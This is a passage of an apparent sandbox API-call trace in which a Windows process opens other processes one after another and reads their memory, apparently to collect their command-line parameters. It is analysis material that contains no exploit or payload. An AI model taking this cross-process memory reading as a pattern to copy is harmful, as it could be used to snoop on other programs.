lpNumberOfBytesRead=0x0 | out: lpBuffer=0x20abc286890*, lpNumberOfBytesRead=0x0) returned 1 [0207.370] free (_Block=0x20abc286890) [0207.371] CloseHandle (hObject=0x464) returned 1 [0207.371] _ui64tow_s (in: _Value=0x11a8, _Buffer=0x2dc24fd4a0, _BufferCount=0x104, _Radix=10 | out: _Buffer="4520") returned 0x0 [0207.376] _vsnwprintf (in: _Buffer=0x2dc24fd1c0, _BufferCount=0x103, _Format="%lu", _ArgList=0x2dc24fc548 | out: _Buffer="4520") returned 4 [0207.377] GetVersionExW (in: lpVersionInformation=0x2dc24fc600*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="") | out: lpVersionInformation=0x2dc24fc600*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0207.377] _vsnwprintf (in: _Buffer=0x2dc24fcfb0, _BufferCount=0x103, _Format="%d.%d.%hu", _ArgList=0x2dc24fc548 | out: _Buffer="10.0.10586") returned 10 [0207.393] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x11a8) returned 0x464 [0207.394] GetLastError () returned 0x0 [0207.394] NtQueryInformationProcess (in: ProcessHandle=0x464, ProcessInformationClass=0x0, ProcessInformation=0x2dc24fc5a0, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x2dc24fc5a0, ReturnLength=0x0) returned 0x0 [0207.394] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x2dc20b8018, lpBuffer=0x2dc24fc570, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc24fc570*, lpNumberOfBytesRead=0x0) returned 1 [0207.394] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x7ffb202f5220, lpBuffer=0x2dc24fc560, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc24fc560*, lpNumberOfBytesRead=0x0) returned 1 [0207.394] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x20abba21bd0, lpBuffer=0x2dc24fc980, nSize=0x118, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc24fc980*, lpNumberOfBytesRead=0x0) returned 1 [0207.394] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x20abba21818, lpBuffer=0x2dc24fc2d0, nSize=0x4c, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc24fc2d0*, lpNumberOfBytesRead=0x0) returned 1 [0207.396] NtQueryInformationProcess (in: ProcessHandle=0x464, ProcessInformationClass=0x1, ProcessInformation=0x2dc24fc5d0, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x2dc24fc5d0, ReturnLength=0x0) returned 0x0 [0207.397] NtQueryInformationProcess (in: ProcessHandle=0x464, ProcessInformationClass=0x0, ProcessInformation=0x2dc24fc0a8, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x2dc24fc0a8, ReturnLength=0x0) returned 0x0 [0207.397] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x2dc20b8020, lpBuffer=0x2dc24fc090, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc24fc090*, lpNumberOfBytesRead=0x0) returned 1 [0207.397] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x20abba21200, lpBuffer=0x2dc24fc0e0, nSize=0x410, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc24fc0e0*, lpNumberOfBytesRead=0x0) returned 1 [0207.398] malloc (_Size=0x76) returned 0x20abc282120 [0207.398] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x20abba21864, lpBuffer=0x20abc282120, nSize=0x74, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x20abc282120*, lpNumberOfBytesRead=0x0) returned 1 [0207.398] free (_Block=0x20abc282120) [0207.399] CloseHandle (hObject=0x464) returned 1 [0207.400] _ui64tow_s (in: _Value=0x1304, _Buffer=0x2dc24fd4a0, _BufferCount=0x104, _Radix=10 | out: _Buffer="4868") returned 0x0 [0207.404] _vsnwprintf (in: _Buffer=0x2dc24fd1c0, _BufferCount=0x103, _Format="%lu", _ArgList=0x2dc24fc548 | out: _Buffer="4868") returned 4 [0207.405] GetVersionExW (in: lpVersionInformation=0x2dc24fc600*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="") | out: lpVersionInformation=0x2dc24fc600*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0207.405] _vsnwprintf (in: _Buffer=0x2dc24fcfb0, _BufferCount=0x103, _Format="%d.%d.%hu", _ArgList=0x2dc24fc548 | out: _Buffer="10.0.10586") returned 10 [0207.636] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x1304) returned 0x464 [0207.636] GetLastError () returned 0x0 [0207.637] NtQueryInformationProcess (in: ProcessHandle=0x464, ProcessInformationClass=0x0, ProcessInformation=0x2dc24fc5a0, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x2dc24fc5a0, ReturnLength=0x0) returned 0x0 [0207.637] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x7c7a461018, lpBuffer=0x2dc24fc570, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc24fc570*, lpNumberOfBytesRead=0x0) returned 1 [0207.637] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x7ffb202f5220, lpBuffer=0x2dc24fc560, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc24fc560*, lpNumberOfBytesRead=0x0) returned 1 [0207.637] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x26d1dbf1c60, lpBuffer=0x2dc24fc980, nSize=0x118, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc24fc980*, lpNumberOfBytesRead=0x0) returned 1 [0207.637] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x26d1dbf18c8, lpBuffer=0x2dc24fc2d0, nSize=0x48, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc24fc2d0*, lpNumberOfBytesRead=0x0) returned 1 [0207.638] NtQueryInformationProcess (in: ProcessHandle=0x464, ProcessInformationClass=0x1, ProcessInformation=0x2dc24fc5d0, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x2dc24fc5d0, ReturnLength=0x0) returned 0x0 [0207.640] NtQueryInformationProcess (in: ProcessHandle=0x464, ProcessInformationClass=0x0, ProcessInformation=0x2dc24fc0a8, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x2dc24fc0a8, ReturnLength=0x0) returned 0x0 [0207.640] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x7c7a461020, lpBuffer=0x2dc24fc090, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc24fc090*, lpNumberOfBytesRead=0x0) returned 1 [0207.640] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x26d1dbf12b0, lpBuffer=0x2dc24fc0e0, nSize=0x410, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc24fc0e0*, lpNumberOfBytesRead=0x0) returned 1 [0207.640] malloc (_Size=0x54) returned 0x20abc2a71e0 [0207.640] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x26d1dbf1910, lpBuffer=0x20abc2a71e0, nSize=0x52, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x20abc2a71e0*, lpNumberOfBytesRead=0x0) returned 1 [0207.641] free (_Block=0x20abc2a71e0) [0207.642] CloseHandle (hObject=0x464) returned 1 [0207.642] _ui64tow_s (in: _Value=0xc34, _Buffer=0x2dc24fd4a0, _BufferCount=0x104, _Radix=10 | out: _Buffer="3124") returned 0x0 [0207.647] _vsnwprintf (in: _Buffer=0x2dc24fd1c0, _BufferCount=0x103, _Format="%lu", _ArgList=0x2dc24fc548 | out: _Buffer="3124") returned 4 [0207.648] GetVersionExW (in: lpVersionInformation=0x2dc24fc600*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="") | out: lpVersionInformation=0x2dc24fc600*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0207.648] _vsnwprintf (in: _Buffer=0x2dc24fcfb0, _BufferCount=0x103, _Format="%d.%d.%hu", _ArgList=0x2dc24fc548 | out: _Buffer="10.0.10586") returned 10 [0207.879] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0xc34) returned 0x0 [0207.879] CloseHandle (hObject=0x0) returned 0 [0207.880] _ui64tow_s (in: _Value=0x4e8, _Buffer=0x2dc24fd4a0, _BufferCount=0x104, _Radix=10 | out: _Buffer="1256") returned 0x0 [0207.889] _vsnwprintf (in: _Buffer=0x2dc24fd1c0, _BufferCount=0x103, _Format="%lu", _ArgList=0x2dc24fc548 | out: _Buffer="1256") returned 4 [0207.890] GetVersionExW (in: lpVersionInformation=0x2dc24fc600*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="") | out: lpVersionInformation=0x2dc24fc600*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0207.890] _vsnwprintf (in: _Buffer=0x2dc24fcfb0, _BufferCount=0x103, _Format="%d.%d.%hu", _ArgList=0x2dc24fc548 | out: _Buffer="10.0.10586") returned 10 [0207.906] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x4e8) returned 0x464 [0207.906] GetLastError () returned 0x0 [0207.906] NtQueryInformationProcess (in: ProcessHandle=0x464, ProcessInformationClass=0x0, ProcessInformation=0x2dc24fc5a0, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x2dc24fc5a0, ReturnLength=0x0) returned 0x0 [0207.907] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x3d9018, lpBuffer=0x2dc24fc570, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc24fc570*, lpNumberOfBytesRead=0x0) returned 1 [0207.907] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x7ffb202f5220, lpBuffer=0x2dc24fc560, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc24fc560*, lpNumberOfBytesRead=0x0) returned 1 [0207.907] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x4f1c80, lpBuffer=0x2dc24fc980, nSize=0x118, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc24fc980*, lpNumberOfBytesRead=0x0) returned 1 [0207.907] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x4f18c8, lpBuffer=0x2dc24fc2d0, nSize=0x56, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc24fc2d0*, lpNumberOfBytesRead=0x0) returned 1 [0207.908] NtQueryInformationProcess (in: ProcessHandle=0x464, ProcessInformationClass=0x1, ProcessInformation=0x2dc24fc5d0, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x2dc24fc5d0, ReturnLength=0x0) returned 0x0 [0207.909] NtQueryInformationProcess (in: ProcessHandle=0x464, ProcessInformationClass=0x0, ProcessInformation=0x2dc24fc0a8, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x2dc24fc0a8, ReturnLength=0x0) returned 0x0 [0207.909] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x3d9020, lpBuffer=0x2dc24fc090, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc24fc090*, lpNumberOfBytesRead=0x0) returned 1 [0207.909] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x4f12b0, lpBuffer=0x2dc24fc0e0, nSize=0x410, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc24fc0e0*, lpNumberOfBytesRead=0x0) returned 1 [0207.909] malloc (_Size=0x58) returned 0x20abc2a7000 [0207.909] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x4f191e, lpBuffer=0x20abc2a7000, nSize=0x56, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x20abc2a7000*, lpNumberOfBytesRead=0x0) returned 1 [0207.910] free (_Block=0x20abc2a7000) [0207.911] CloseHandle (hObject=0x464) returned 1 [0207.911] _ui64tow_s (in: _Value=0xbf4, _Buffer=0x2dc24fd4a0, _BufferCount=0x104, _Radix=10 | out: _Buffer="3060") returned 0x0 [0208.073] _vsnwprintf (in: _Buffer=0x2dc24fd1c0, _BufferCount=0x103, _Format="%lu", _ArgList=0x2dc24fc548 | out: _Buffer="3060") returned 4 [0208.074] GetVersionExW (in: lpVersionInformation=0x2dc24fc600*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="") | out: lpVersionInformation=0x2dc24fc600*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0208.074] _vsnwprintf (in: _Buffer=0x2dc24fcfb0, _BufferCount=0x103, _Format="%d.%d.%hu", _ArgList=0x2dc24fc548 | out: _Buffer="10.0.10586") returned 10 [0208.087] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0xbf4) returned 0x458 [0208.087] GetLastError () returned 0x0 [0208.088] NtQueryInformationProcess (in: ProcessHandle=0x458, ProcessInformationClass=0x0, ProcessInformation=0x2dc24fc5a0, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x2dc24fc5a0, ReturnLength=0x0) returned 0x0 [0208.088] ReadProcessMemory (in: hProcess=0x458, lpBaseAddress=0x36f018, lpBuffer=0x2dc24fc570, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc24fc570*, lpNumberOfBytesRead=0x0) returned 1 [0208.088] ReadProcessMemory (in: hProcess=0x458, lpBaseAddress=0x7ffb202f5220, lpBuffer=0x2dc24fc560, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc24fc560*, lpNumberOfBytesRead=0x0) returned 1 [0208.088] ReadProcessMemory (in: hProcess=0x458, lpBaseAddress=0x701dc0, lpBuffer=0x2dc24fc980, nSize=0x118, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc24fc980*, lpNumberOfBytesRead=0x0) returned 1 [0208.088] ReadProcessMemory (in: hProcess=0x458, lpBaseAddress=0x701a58, lpBuffer=0x2dc24fc2d0, nSize=0x56, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc24fc2d0*, lpNumberOfBytesRead=0x0) returned 1 [0208.089] NtQueryInformationProcess (in: ProcessHandle=0x458, ProcessInformationClass=0x1, ProcessInformation=0x2dc24fc5d0, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x2dc24fc5d0, ReturnLength=0x0) returned 0x0 [0208.090] NtQueryInformationProcess (in: ProcessHandle=0x458, ProcessInformationClass=0x0, ProcessInformation=0x2dc24fc0a8, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x2dc24fc0a8, ReturnLength=0x0) returned 0x0 [0208.090] ReadProcessMemory (in: hProcess=0x458, lpBaseAddress=0x36f020, lpBuffer=0x2dc24fc090, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc24fc090*, lpNumberOfBytesRead=0x0) returned 1 [0208.090] ReadProcessMemory (in: hProcess=0x458, lpBaseAddress=0x701440, lpBuffer=0x2dc24fc0e0, nSize=0x410, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc24fc0e0*, lpNumberOfBytesRead=0x0) returned 1 [0208.091] malloc (_Size=0x5e) returned 0x20abc2807d0 [0208.091] ReadProcessMemory (in: hProcess=0x458, lpBaseAddress=0x701aae, lpBuffer=0x20abc2807d0, nSize=0x5c, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x20abc2807d0*, lpNumberOfBytesRead=0x0) returned 1 [0208.092] free (_Block=0x20abc2807d0) [0208.092] CloseHandle (hObject=0x458) returned 1 [0208.093] _ui64tow_s (in: _Value=0xb58, _Buffer=0x2dc24fd4a0, _BufferCount=0x104, _Radix=10 | out: _Buffer="2904") returned 0x0 [0208.096] _vsnwprintf (in: _Buffer=0x2dc24fd1c0, _BufferCount=0x103, _Format="%lu", _ArgList=0x2dc24fc548 | out: _Buffer="2904") returned 4 [0208.097] GetVersionExW (in: lpVersionInformation=0x2dc24fc600*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="") | out: lpVersionInformation=0x2dc24fc600*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0208.097] _vsnwprintf (in: _Buffer=0x2dc24fcfb0, _BufferCount=0x103, _Format="%d.%d.%hu", _ArgList=0x2dc24fc548 | out: _Buffer="10.0.10586") returned 10 [0208.110] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0xb58) returned 0x458 [0208.110] GetLastError () returned 0x0 [0208.110] NtQueryInformationProcess (in: ProcessHandle=0x458, ProcessInformationClass=0x0, ProcessInformation=0x2dc24fc5a0, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x2dc24fc5a0, ReturnLength=0x0) returned 0x0 [0208.110] ReadProcessMemory (in: hProcess=0x458, lpBaseAddress=0x287018, lpBuffer=0x2dc24fc570, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc24fc570*, lpNumberOfBytesRead=0x0) returned 1 [0208.111] ReadProcessMemory (in: hProcess=0x458, lpBaseAddress=0x7ffb202f5220, lpBuffer=0x2dc24fc560, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc24fc560*, lpNumberOfBytesRead=0x0) returned 1 [0208.111] ReadProcessMemory (in: hProcess=0x458, lpBaseAddress=0x5a1c70, lpBuffer=0x2dc24fc980, nSize=0x118, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc24fc980*, lpNumberOfBytesRead=0x0) returned 1 [0208.111] ReadProcessMemory (in: hProcess=0x458, lpBaseAddress=0x5a18c8, lpBuffer=0x2dc24fc2d0, nSize=0x52, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc24fc2d0*, lpNumberOfBytesRead=0x0) returned 1 [0208.112] NtQueryInformationProcess (in: ProcessHandle=0x458, ProcessInformationClass=0x1, ProcessInformation=0x2dc24fc5d0, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x2dc24fc5d0, ReturnLength=0x0) returned 0x0 [0208.113] NtQueryInformationProcess (in: ProcessHandle=0x458, ProcessInformationClass=0x0, ProcessInformation=0x2dc24fc0a8, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x2dc24fc0a8, ReturnLength=0x0) returned 0x0 [0208.113] ReadProcessMemory (in: hProcess=0x458, lpBaseAddress=0x287020, lpBuffer=0x2dc24fc090, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc24fc090*, lpNumberOfBytesRead=0x0) returned 1 [0208.113] ReadProcessMemory (in: hProcess=0x458, lpBaseAddress=0x5a12b0, lpBuffer=0x2dc24fc0e0, nSize=0x410, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc24fc0e0*, lpNumberOfBytesRead=0x0) returned 1 [0208.113] malloc (_Size=0x58) returned 0x20abc2a7a80 [0208.113] ReadProcessMemory (in: hProcess=0x458, lpBaseAddress=0x5a191a, lpBuffer=0x20abc2a7a80, nSize=0x56, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x20abc2a7a80*, lpNumberOfBytesRead=0x0) returned 1 [0208.114] free (_Block=0x20abc2a7a80) [0208.280] CloseHandle (hObject=0x458) returned 1 [0208.280] _ui64tow_s (in: _Value=0xcc0, _Buffer=0x2dc24fd4a0, _BufferCount=0x104, _Radix=10 | out: _Buffer="3264") returned 0x0 [0208.283] _vsnwprintf (in: _Buffer=0x2dc24fd1c0, _BufferCount=0x103, _Format="%lu", _ArgList=0x2dc24fc548 | out: _Buffer="3264") returned 4 [0208.284] GetVersionExW (in: lpVersionInformation=0x2dc24fc600*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="") | out: lpVersionInformation=0x2dc24fc600*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0208.284] _vsnwprintf (in: _Buffer=0x2dc24fcfb0, _BufferCount=0x103, _Format="%d.%d.%hu", _ArgList=0x2dc24fc548 | out: _Buffer="10.0.10586") returned 10 [0208.298] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0xcc0) returned 0x458 [0208.298] GetLastError () returned 0x0 [0208.299] NtQueryInformationProcess (in: ProcessHandle=0x458, ProcessInformationClass=0x0, ProcessInformation=0x2dc24fc5a0, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x2dc24fc5a0, ReturnLength=0x0) returned 0x0 [0208.299] ReadProcessMemory (in: hProcess=0x458, lpBaseAddress=0x30a6ba5018, lpBuffer=0x2dc24fc570, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc24fc570*, lpNumberOfBytesRead=0x0) returned 1 [0208.299] ReadProcessMemory (in: hProcess=0x458, lpBaseAddress=0x7ffb202f5220, lpBuffer=0x2dc24fc560, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc24fc560*, lpNumberOfBytesRead=0x0) returned 1 [0208.299] ReadProcessMemory (in: hProcess=0x458, lpBaseAddress=0x1cfba803670, lpBuffer=0x2dc24fc980, nSize=0x118, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc24fc980*, lpNumberOfBytesRead=0x0) returned 1 [0208.299] ReadProcessMemory (in: hProcess=0x458, lpBaseAddress=0x1cfba8032b4, lpBuffer=0x2dc24fc2d0, nSize=0x56, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc24fc2d0*, lpNumberOfBytesRead=0x0) returned 1 [0208.300] NtQueryInformationProcess (in: ProcessHandle=0x458, ProcessInformationClass=0x1, ProcessInformation=0x2dc24fc5d0, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x2dc24fc5d0, ReturnLength=0x0) returned 0x0 [0208.301] NtQueryInformationProcess (in: ProcessHandle=0x458, ProcessInformationClass=0x0, ProcessInformation=0x2dc24fc0a8, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x2dc24fc0a8, ReturnLength=0x0) returned 0x0 [0208.301] ReadProcessMemory (in: hProcess=0x458, lpBaseAddress=0x30a6ba5020, lpBuffer=0x2dc24fc090, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc24fc090*, lpNumberOfBytesRead=0x0) returned 1 [0208.301] ReadProcessMemory (in: hProcess=0x458, lpBaseAddress=0x1cfba802c20, lpBuffer=0x2dc24fc0e0, nSize=0x410, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc24fc0e0*, lpNumberOfBytesRead=0x0) returned 1 [0208.301] malloc (_Size=0xda) returned 0x20abc286890 [0208.302] ReadProcessMemory (in: hProcess=0x458, lpBaseAddress=0x1cfba80330a, lpBuffer=0x20abc286890, nSize=0xd8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x20abc286890*, lpNumberOfBytesRead=0x0) returned 1 [0208.302] free (_Block=0x20abc286890) [0208.303] CloseHandle (hObject=0x458) returned 1 [0208.303] _ui64tow_s (in: _Value=0xcfc, _Buffer=0x2dc24fd4a0, _BufferCount=0x104, _Radix=10 | out: _Buffer="3324") returned 0x0 [0208.307] _vsnwprintf (in: _Buffer=0x2dc24fd1c0, _BufferCount=0x103, _Format="%lu", _ArgList=0x2dc24fc548 | out: _Buffer="3324") returned 4 [0208.308] GetVersionExW (in: lpVersionInformation=0x2dc24fc600*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="") | out: lpVersionInformation=0x2dc24fc600*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0208.308] _vsnwprintf (in: _Buffer=0x2dc24fcfb0, _BufferCount=0x103, _Format="%d.%d.%hu", _ArgList=0x2dc24fc548 | out: _Buffer="10.0.10586") returned 10 [0208.526] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0xcfc) returned 0x458 [0208.526] GetLastError () returned 0x0 [0208.527] NtQueryInformationProcess (in: ProcessHandle=0x458, ProcessInformationClass=0x0, ProcessInformation=0x2dc24fc5a0, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x2dc24fc5a0, ReturnLength=0x0) returned 0x0 [0208.527] ReadProcessMemory (in: hProcess=0x458, lpBaseAddress=0xfde7f0a018, lpBuffer=0x2dc24fc570, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc24fc570*, lpNumberOfBytesRead=0x0) returned 1 [0208.527] ReadProcessMemory (in: hProcess=0x458, lpBaseAddress=0x7ffb202f5220, lpBuffer=0x2dc24fc560, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc24fc560*, lpNumberOfBytesRead=0x0) returned 1 [0208.527] ReadProcessMemory (in: hProcess=0x458, lpBaseAddress=0x2e24fa41e70, lpBuffer=0x2dc24fc980, nSize=0x118, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc24fc980*, lpNumberOfBytesRead=0x0) returned 1 [0208.527] ReadProcessMemory (in: hProcess=0x458, lpBaseAddress=0x2e24fa41a58, lpBuffer=0x2dc24fc2d0, nSize=0x40, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc24fc2d0*, lpNumberOfBytesRead=0x0) returned 1 [0208.528] NtQueryInformationProcess (in: ProcessHandle=0x458, ProcessInformationClass=0x1, ProcessInformation=0x2dc24fc5d0, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x2dc24fc5d0, ReturnLength=0x0) returned 0x0 [0208.529] NtQueryInformationProcess (in: ProcessHandle=0x458, ProcessInformationClass=0x0, ProcessInformation=0x2dc24fc0a8, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x2dc24fc0a8, ReturnLength=0x0) returned 0x0 [0208.529] ReadProcessMemory (in: hProcess=0x458, lpBaseAddress=0xfde7f0a020, lpBuffer=0x2dc24fc090, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc24fc090*, lpNumberOfBytesRead=0x0) returned 1 [0208.529] ReadProcessMemory (in: hProcess=0x458, lpBaseAddress=0x2e24fa41440, lpBuffer=0x2dc24fc0e0, nSize=0x410, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc24fc0e0*, lpNumberOfBytesRead=0x0) returned 1 [0208.529] malloc (_Size=0xf0) returned 0x20abc286890 [0208.529] ReadProcessMemory (in: hProcess=0x458, lpBaseAddress=0x2e24fa41a98, lpBuffer=0x20abc286890, nSize=0xee, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x20abc286890*, lpNumberOfBytesRead=0x0) returned 1 [0208.530] free (_Block=0x20abc286890) [0208.530] CloseHandle (hObject=0x458) returned 1 [0208.531] _ui64tow_s (in: _Value=0xd18, _Buffer=0x2dc24fd4a0, _BufferCount=0x104, _Radix=10 | out: _Buffer="3352") returned 0x0 [0208.534] _vsnwprintf (in: _Buffer=0x2dc24fd1c0, _BufferCount=0x103, _Format="%lu", _ArgList=0x2dc24fc548 | out: _Buffer="3352") returned 4 [0208.535] GetVersionExW (in: lpVersionInformation=0x2dc24fc600*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="") | out: lpVersionInformation=0x2dc24fc600*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0208.535] _vsnwprintf (in: _Buffer=0x2dc24fcfb0, _BufferCount=0x103, _Format="%d.%d.%hu", _ArgList=0x2dc24fc548 | out: _Buffer="10.0.10586") returned 10 [0208.547] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0xd18) returned 0x458 [0208.547] GetLastError () returned 0x0 [0208.548] NtQueryInformationProcess (in: ProcessHandle=0x458, ProcessInformationClass=0x0, ProcessInformation=0x2dc24fc5a0, ProcessInformationLength=0x30, 